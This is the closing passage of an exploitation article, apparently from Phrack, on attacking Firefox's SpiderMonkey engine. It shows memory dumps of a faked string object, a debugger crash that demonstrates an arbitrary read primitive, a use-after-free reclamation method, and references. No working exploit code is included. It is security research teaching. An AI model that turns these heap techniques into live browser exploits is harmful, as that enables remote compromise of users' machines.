Our Uint32Array now looks like:
[ The contents of our Uint32Array ]
[ string jsval ]
15f16100 15f16110 ffffff85 51575751 51575751
[ fake non-inline string ]
[ size ] [ addr ]
15f16110 00000049 00000002 cafebabe 00000000
15f16120 51575751 51575751 51575751 51575751
15f16130 51575751 51575751 51575751 51575751
Trying to read from address cafebabe leads of course to a crash (just to
demonstrate):
0:000> g
(858.f68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=cafebac0 ebx=00000000 ecx=133bb7f4 edx=00000000 esi=00000002
edi=133bb7e0 eip=67df0192 esp=003ad120 ebp=cafebabe
iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
xul!js::ConcatStrings<0>+0x178:
67df0192 mov al,byte ptr [ebp] ss:002b:cafebabe=??
We finally have a re-usable arbitrary leak primitive and we also know the
base of xul.dll. We can dynamically search for ROP gadgets and construct
our ROP chain at exploit runtime in JavaScript.
----[ 5.6 - Use-after-free bugs
Exploiting use-after-free bugs with the presented methodology is a matter
of reclaiming the jemalloc region left by the freed object with a typed
array (Uint32Array). Then we use the fake object's methods to overwrite the
metadata of a neighboring sprayed ArrayObject, and we apply the given
methodology.
--[ 6 - Conclusion
Greetz and thankz to the Phrack Staff for bugging me to write this and for
their very helpful review ;) The Immunity team during my dry run for
Infiltrate also provided insightful comments.
Finally, bro sups to huku, nemo, the CENSUS crew and all the !fapperz.
--[ 7 - References
[INF] OR'LYEH? The Shadow over Firefox -
http://web.archive.org/web/20150403070544/http://infiltratecon.com/
speakers.html#firefox
[JSV] JS::Value -
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/
SpiderMonkey/JSAPI_Reference/JS::Value
[IFP] IEEE Standard for Floating-Point Arithmetic (IEEE-754) -
http://en.wikipedia.org/wiki/IEEE_floating_point
[JSO] JSObject -
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/
SpiderMonkey/JSAPI_reference/JSObject
[P2O] Advanced Exploitation of Mozilla Firefox Use-After-Free
Vulnerability (Pwn2Own 2014) -
http://www.vupen.com/blog/
20140520.Advanced_Exploitation_Firefox_UaF_Pwn2Own_2014.php
[REN] XSS and Beyond -
https://www.owasp.org/images/c/c3/20140617-XSS_and_beyond-Rene.pdf
[F32] Firefox Release 32.0 -
https://www.mozilla.org/en-US/firefox/32.0/releasenotes/
[JSR] JSAPI User Guide -
https://developer.mozilla.org/en-US/docs/Mozilla/Projects/
SpiderMonkey/JSAPI_User_Guide
[PSJ] Pseudomonarchia jemallocum -
http://www.phrack.org/issues/68/10.html
[UNJ] unmask_jemalloc -
https://github.com/argp/unmask_jemalloc
[SHD] shadow -
https://github.com/CENSUS/shadow
[FSJ] Heap Feng Shui in JavaScript -
http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
--[ 8 - Source code
begin 664 code.tar.gz
end
--[ EOF
